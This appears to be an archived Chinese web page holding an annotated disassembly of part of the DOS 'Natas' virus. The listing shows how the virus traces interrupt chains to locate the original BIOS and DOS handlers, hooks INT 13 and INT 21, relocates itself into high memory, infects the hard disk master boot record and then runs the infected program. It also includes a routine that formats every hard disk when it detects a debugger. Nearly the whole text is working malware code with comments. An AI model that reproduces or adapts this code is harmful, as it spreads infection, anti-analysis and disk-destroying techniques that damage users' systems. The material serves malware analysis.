?? natas 幽靈王病毒的分析.htm
字號:
;由初始化程序調用
9E80:0214 E882FE CALL 0099 ;保存 INT 13/15/21/40
9E80:0217 B452 MOV AH,52 ;中斷前 5 字節
9E80:0219 CD21 INT 21
9E80:021B 268B47FE MOV AX,ES:[BX-02] ;AX = 第一塊 MCB 地址
9E80:021F A3AD02 MOV [02AD],AX
9E80:0222 B001 MOV AL,01 ;取 INT 01 中斷地址
9E80:0224 E89CFE CALL 00C3
9E80:0227 53 PUSH BX
9E80:0228 06 PUSH ES
9E80:0229 BA7702 MOV DX,0277 ;設置 INT 01 中斷地址
9E80:022C E8A5FE CALL 00D4 ;到 CS:0277
9E80:022F 9C PUSHF
9E80:0230 5E POP SI </FONT></PRE><PRE><FONT color=#008080 size=2>9E80:0231 BF9702 MOV DI,0297
9E80:0234 C60503 MOV Byte Ptr [DI],03
9E80:0237 B401 MOV AH,01
9E80:0239 E83400 CALL 0270 ;激活 INT 01
9E80:023C E87C08 CALL 0ABB ;執行 INT 13,找 BIOS INT 13地址
;本句功能為先執行 029B, 再執行 02C8,在 02C8 中找出
;BIOS 的 INT 13 地址, 即段地址高位在 C8 到 F4 之間
;找到以后轉 02B4, 將 INT 13 地址保存在 13EB 中</FONT></PRE><PRE><FONT color=#008080 size=2>9E80:023F C60526 MOV Byte Ptr [DI],26
9E80:0242 B4C0 MOV AH,C0
9E80:0244 E82900 CALL 0270 ;激活 INT 01
9E80:0247 9C PUSHF ;調用 INT 15,找 BIOS INT 15地址
9E80:0248 FF1EF313 CALL FAR [13F3]
;本段功能為先執行 02BE, 同上找出 BIOS INT 15 地址
;保存于 13F3 中</FONT></PRE><PRE><FONT color=#008080 size=2>9E80:024C C60513 MOV Byte Ptr [DI],13
9E80:024F B430 MOV AH,30
9E80:0251 E81C00 CALL 0270 ;激活 INT 01
9E80:0254 E86E08 CALL 0AC5 ;調用 INT 21
;本段功能為找出 MSDOS 中 INT 21 的地址, 先執行
;02AB, 判斷執行段地址小于第一塊 MCB 地址, 即為
;INT 21 的地址, 找到后保存于 13FB 中</FONT></PRE><PRE><FONT color=#008080 size=2>9E80:0257 C6052B MOV Byte Ptr [DI],2B
9E80:025A B401 MOV AH,01
9E80:025C E81100 CALL 0270
9E80:025F E86908 CALL 0ACB
;本段功能為找出 BIOS INT 40 地址,具體為先執行 02C3
;再同 INT 13 之執行, 找到 INT 40 地址保存于 13F7 中</FONT></PRE><PRE><FONT color=#008080 size=2>9E80:0262 81E6FFFE AND SI,FEFF
9E80:0266 56 PUSH SI
9E80:0267 9D POPF ;停止 INT 01
9E80:0268 1F POP DS ;恢復原 INT 01 地址
9E80:0269 5A POP DX
9E80:026A B001 MOV AL,01
9E80:026C E865FE CALL 00D4
9E80:026F C3 RET </FONT></PRE><PRE><FONT color=#008080 size=2>9E80:0270 81CE0001 OR SI,0100
9E80:0274 56 PUSH SI
9E80:0275 9D POPF
9E80:0276 C3 RET
;=========================================================================
; 病毒新 INT 01
; 這是一個多個地方調用的子程序, 先由調用者設置 0296 出 JNZ 指令
; 跳轉的地址, 再設置并激活 INT 01
; 在 0099 中用來找出初始 INT 13/15/21/40 地址
; 在 INT 21 結束時用來重新截取 INT 21
9E80:0277 1E PUSH DS
9E80:0278 0E PUSH CS
9E80:0279 1F POP DS
9E80:027A 893E6F03 MOV [036F],DI ;DI = 13E3
9E80:027E BF6303 MOV DI,0363
9E80:0281 8905 MOV [DI],AX ;保存返回時的
9E80:0283 895D03 MOV [DI+03],BX ;AX 到 DX 值
9E80:0286 894D06 MOV [DI+06],CX
9E80:0289 895509 MOV [DI+09],DX
9E80:028C 8F45FB POP [DI-05] ;保存返回時的 DS
9E80:028F 5B POP BX ;調用 IP (INT 01)
9E80:0290 59 POP CX ;調用 CS
9E80:0291 5A POP DX ;調用 FLAG
9E80:0292 8CC8 MOV AX,CS
9E80:0294 3BC1 CMP AX,CX ;是否調用者在病毒內
9E80:0296 752B JNZ 02C3 ;不在病毒內開始執行 INT 01 功能
9E80:0298 E9BF00 JMP 035A
;以下由 022F 處執行, 找 MSDOS INT 13 地址
9E80:029B 3B0EAD02 CMP CX,[02AD] ;02AD 為第一個 MCB 地址
9E80:029F 734D JNB 02EE ;不在 MSDOS 內返回
9E80:02A1 BFEF13 MOV DI,13EF
9E80:02A4 C606970230 MOV Byte Ptr [0297],30 ;下一次 0296
9E80:02A9 EB0C JMP 02B7 ;處為 JNZ 02C8
;以下由 0257 處執行, 找 INT 21 地址
9E80:02AB 81F9A30B CMP CX,0BA3 ===> ;本句地址由 021F 設置
9E80:02AF 733D JNB 02EE ;為第一塊 MCB 地址
9E80:02B1 BFFB13 MOV DI,13FB
9E80:02B4 80E6FE AND DH,FE ;保存找到的地址
9E80:02B7 891D MOV [DI],BX ;并停止 INT 01
9E80:02B9 894D02 MOV [DI+02],CX
9E80:02BC EB30 JMP 02EE
;以下由 024C 處執行, 找 INT 15 地址
9E80:02BE BFF313 MOV DI,13F3
9E80:02C1 EB08 JMP 02CB
;以下由 0262 處執行, 找 INT 40 地址
9E80:02C3 BFF713 MOV DI,13F7
9E80:02C6 EB03 JMP 02CB
9E80:02C8 BFEB13 MOV DI,13EB ;從 02A9 轉來
9E80:02CB 80FDC8 CMP CH,C8 ;段地址 < C800 退出
9E80:02CE 721E JB 02EE
9E80:02D0 80FDF4 CMP CH,F4 ;段地址 > F400 退出
9E80:02D3 72DF JB 02B4 ;段地址指向 BIOS 轉 02B4
9E80:02D5 EB17 JMP 02EE ;保存及停止 INT 01
;INT 01 在 INT 21 結束時執行轉此處
9E80:02D7 FE0E1214 DEC Byte Ptr [1412]
9E80:02DB 7511 JNZ 02EE
9E80:02DD 52 PUSH DX ;到 INT 21 第一句
9E80:02DE B001 MOV AL,01 ;恢復 INT 01 中斷
9E80:02E0 C516E313 LDS DX,[13E3]
9E80:02E4 E8EDFD CALL 00D4 ;
9E80:02E7 E806FF CALL 01F0 ;截取 INT 21 中斷
9E80:02EA 5A POP DX
9E80:02EB 80E6FE AND DH,FE
9E80:02EE F6C601 TEST DH,01 ;標志復位轉 035A 退出
9E80:02F1 7467 JZ 035A
9E80:02F3 8ED9 MOV DS,CX
9E80:02F5 33FF XOR DI,DI
9E80:02F7 8B01 MOV AX,[BX+DI]
9E80:02F9 3CF0 CMP AL,F0
9E80:02FB 7412 JZ 030F
9E80:02FD 3CF2 CMP AL,F2
9E80:02FF 740E JZ 030F
9E80:0301 3CF3 CMP AL,F3
9E80:0303 740A JZ 030F
9E80:0305 3C9C CMP AL,9C
9E80:0307 7309 JNB 0312
9E80:0309 24E7 AND AL,E7
9E80:030B 3C26 CMP AL,26
9E80:030D 754B JNZ 035A
9E80:030F 47 INC DI
9E80:0310 EBE5 JMP 02F7
9E80:0312 750C JNZ 0320
9E80:0314 80E6FE AND DH,FE
9E80:0317 52 PUSH DX
9E80:0318 8D5901 LEA BX,[BX+DI+01]
9E80:031B 80CE01 OR DH,01
9E80:031E EBD3 JMP 02F3
9E80:0320 3C9D CMP AL,9D
9E80:0322 7503 JNZ 0327
9E80:0324 5A POP DX
9E80:0325 EBF1 JMP 0318
9E80:0327 3CCF CMP AL,CF
9E80:0329 7505 JNZ 0330
9E80:032B 5B POP BX
9E80:032C 59 POP CX
9E80:032D 5A POP DX
9E80:032E EBEB JMP 031B
9E80:0330 3CCD CMP AL,CD
9E80:0332 7412 JZ 0346
9E80:0334 3CCC CMP AL,CC
9E80:0336 B403 MOV AH,03
9E80:0338 740B JZ 0345
9E80:033A 3CCE CMP AL,CE
9E80:033C B404 MOV AH,04
9E80:033E 751A JNZ 035A
9E80:0340 F6C608 TEST DH,08
9E80:0343 7415 JZ 035A
9E80:0345 4B DEC BX
9E80:0346 80E6FE AND DH,FE
9E80:0349 8D5902 LEA BX,[BX+DI+02]
9E80:034C 52 PUSH DX
9E80:034D 51 PUSH CX
9E80:034E 53 PUSH BX
9E80:034F 8AC4 MOV AL,AH
9E80:0351 06 PUSH ES
9E80:0352 E86EFD CALL 00C3
9E80:0355 8CC1 MOV CX,ES
9E80:0357 07 POP ES
9E80:0358 EBC1 JMP 031B
9E80:035A 52 PUSH DX
9E80:035B 51 PUSH CX
9E80:035C 53 PUSH BX
9E80:035D B85E9E MOV AX,9E5E
9E80:0360 8ED8 MOV DS,AX
9E80:0362 B80601 MOV AX,0106
9E80:0365 BB00FF MOV BX,FF00
9E80:0368 B90000 MOV CX,0000
9E80:036B BA7702 MOV DX,0277
9E80:036E BF9702 MOV DI,0297
9E80:0371 CF IRET </FONT></PRE><PRE><FONT color=#008080 size=2>;=========================================================================
; 可執行文件入口
;=========================================================================
9E80:0372 1E PUSH DS
9E80:0373 E80000 CALL 0376 ;重定位
9E80:0376 5E POP SI
9E80:0377 81EE7603 SUB SI,0376
9E80:037B E83BFE CALL 01B9 ;檢測是否有跟蹤
9E80:037E 0BED OR BP,BP ;有跟蹤轉 038D
9E80:0380 750B JNZ 038D
9E80:0382 B430 MOV AH,30
9E80:0384 BB9AF9 MOV BX,F99A
9E80:0387 CD21 INT 21
9E80:0389 3C03 CMP AL,03 ;內存駐留檢測
9E80:038B 7230 JB 03BD ;已駐留轉 03BD
9E80:038D 8CC0 MOV AX,ES
9E80:038F 48 DEC AX
9E80:0390 8ED8 MOV DS,AX
9E80:0392 33FF XOR DI,DI
9E80:0394 0BED OR BP,BP ;有跟蹤轉 039D
9E80:0396 7505 JNZ 039D
9E80:0398 803D5A CMP Byte Ptr [DI],5A ;非最后一塊 MCB
9E80:039B 7520 JNZ 03BD ;轉執行原程序
9E80:039D B86201 MOV AX,0162
9E80:03A0 294503 SUB [DI+03],AX ;內存減 1620 (5664)字節
9E80:03A3 294512 SUB [DI+12],AX
9E80:03A6 8E4512 MOV ES,[DI+12]
9E80:03A9 8EDF MOV DS,DI ;BIOS 內存減 6K
9E80:03AB 832E130406 SUB Word Ptr [0413],+06
9E80:03B0 B9D913 MOV CX,13D9 ;將病毒 13D9 字節移動到高端
9E80:03B3 FC CLD
9E80:03B4 F3 REPZ
9E80:03B5 2EA4 MOVSB CS:
9E80:03B7 B8FA03 MOV AX,03FA ;轉高端 03FA 繼續執行
9E80:03BA 06 PUSH ES
9E80:03BB 50 PUSH AX
9E80:03BC CB RETF
;=========================================================================
9E80:03BD 0E PUSH CS ;執行原程序
9E80:03BE 1F POP DS
9E80:03BF 07 POP ES
9E80:03C0 8DB47012 LEA SI,[SI+1270] ;原文件頭位置
9E80:03C4 8B04 MOV AX,[SI]
9E80:03C6 3D4D5A CMP AX,5A4D ;.EXE 文件轉 03DF
9E80:03C9 7414 JZ 03DF
9E80:03CB 3D5A4D CMP AX,4D5A
9E80:03CE 740F JZ 03DF
9E80:03D0 B90C00 MOV CX,000C ;.COM 文件恢復原文件頭 000C字
9E80:03D3 BF0001 MOV DI,0100 ;原文件頭 ==> CS:0100
9E80:03D6 06 PUSH ES
9E80:03D7 57 PUSH DI
9E80:03D8 FC CLD
9E80:03D9 F3 REPZ
9E80:03DA A5 MOVSW
9E80:03DB 06 PUSH ES
9E80:03DC 1F POP DS
9E80:03DD 91 XCHG AX,CX ;執行原 .COM 文件
9E80:03DE CB RETF </FONT></PRE><PRE><FONT color=#008080 size=2>9E80:03DF 8CC0 MOV AX,ES ;.EXE 文件重定位
9E80:03E1 051000 ADD AX,0010
9E80:03E4 014416 ADD [SI+16],AX
9E80:03E7 03440E ADD AX,[SI+0E]
9E80:03EA 06 PUSH ES
9E80:03EB 1F POP DS
9E80:03EC FA CLI
9E80:03ED 8ED0 MOV SS,AX
9E80:03EF 2E8B6410 MOV SP,CS:[SI+10]
9E80:03F3 33C0 XOR AX,AX
9E80:03F5 FB STI
9E80:03F6 2EFF6C14 JMP FAR CS:[SI+14] ;執行原 .EXE 文件
;=========================================================================
;文件初始化時由低段跳轉過來
9E80:03FA 0E PUSH CS
9E80:03FB 1F POP DS ;DI = 13DA
9E80:03FC C6453801 MOV Byte Ptr [DI+38],01 ;DS:[1412]
9E80:0400 B80200 MOV AX,0002
9E80:0403 E8600D CALL 1166 ;產生隨機數
9E80:0406 A23D0A MOV [0A3D],AL
9E80:0409 C60673042E MOV Byte Ptr [0473],2E
9E80:040E B0EA MOV AL,EA
9E80:0410 AA STOSB
9E80:0411 884504 MOV [DI+04],AL ;新 INT 13 中斷前 5 字節
9E80:0414 B87204 MOV AX,0472 ;JMP CS:0472
9E80:0417 AB STOSW
9E80:0418 C745037305 MOV Word Ptr [DI+03],0573
9E80:041D 8C0D MOV [DI],CS ;新 INT 21 中斷前 5 字節
9E80:041F 8C4D05 MOV [DI+05],CS ;JMP CS:0573
9E80:0422 57 PUSH DI
9E80:0423 E8EEFD CALL 0214 ;取 INT 13/15/21/40 地址
9E80:0426 5F POP DI
9E80:0427 0E PUSH CS
9E80:0428 1F POP DS
9E80:0429 A1AD02 MOV AX,[02AD]
9E80:042C 394515 CMP [DI+15],AX ;[13EF]
9E80:042F 770B JA 043C
9E80:0431 394521 CMP [DI+21],AX ;[13FB]
9E80:0434 7706 JA 043C ;未找到 MSDOS INT 21 入口不截取
9E80:0436 E8ABFD CALL 01E4 ;截取 INT 13
9E80:0439 E8B4FD CALL 01F0 ;截取 INT 21
9E80:043C E8D4FC CALL 0113 ;傳染硬盤主引導區
9E80:043F 0BED OR BP,BP
9E80:0441 8BF5 MOV SI,BP
9E80:0443 7503 JNZ 0448 ;有跟蹤轉 0448
9E80:0445 E975FF JMP 03BD ;無跟蹤轉 03BD 執行原程序
9E80:0448 33DB XOR BX,BX
9E80:044A 8EC3 MOV ES,BX
9E80:044C B280 MOV DL,80
9E80:044E 32F6 XOR DH,DH
9E80:0450 33C9 XOR CX,CX ;如果有跟蹤
9E80:0452 B80105 MOV AX,0501 ;格式化硬盤
9E80:0455 E85E06 CALL 0AB6
9E80:0458 80E1C0 AND CL,C0
9E80:045B FEC5 INC CH
9E80:045D 75F3 JNZ 0452
9E80:045F 80C140 ADD CL,40
9E80:0462 75EE JNZ 0452
9E80:0464 32E4 XOR AH,AH ;磁盤復位
9E80:0466 CD13 INT 13
9E80:0468 FEC6 INC DH
9E80:046A 80FE10 CMP DH,10
9E80:046D 72E1 JB 0450
9E80:046F 42 INC DX ;轉格式化第二個硬盤
9E80:0470 EBDC JMP 044E
;=========================================================================
; 病毒新 INT 13H 中斷服務程序
;=========================================================================
9E80:0472 EB2E JMP 04A2 ====> ;本句指令引導區引入時為 NOP
9E80:0474 E875FC CALL 00EC ;本段程序為在引導區啟動
9E80:0477 B021 MOV AL,21 ;時截取 INT 21
9E80:0479 E847FC CALL 00C3 ;取 INT 21 中斷向量于 ES:BX
9E80:047C 8CC0 MOV AX,ES
9E80:047E 0E PUSH CS
9E80:047F 0E PUSH CS
9E80:0480 1F POP DS
9E80:0481 07 POP ES
9E80:0482 3D0008 CMP AX,0800 ;INT 21 段地址 > 0800
9E80:0485 7718 JA 049F ;表示尚未設置
9E80:0487 BFFD13 MOV DI,13FD
9E80:048A FD STD
9E80:048B 8705 XCHG AX,[DI]
9E80:048D AF SCASW
9E80:048E 740F JZ 049F ;等于啟動初始值退出
9E80:0490 891D MOV [DI],BX ;保存新地址
9E80:0492 B021 MOV AL,21
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -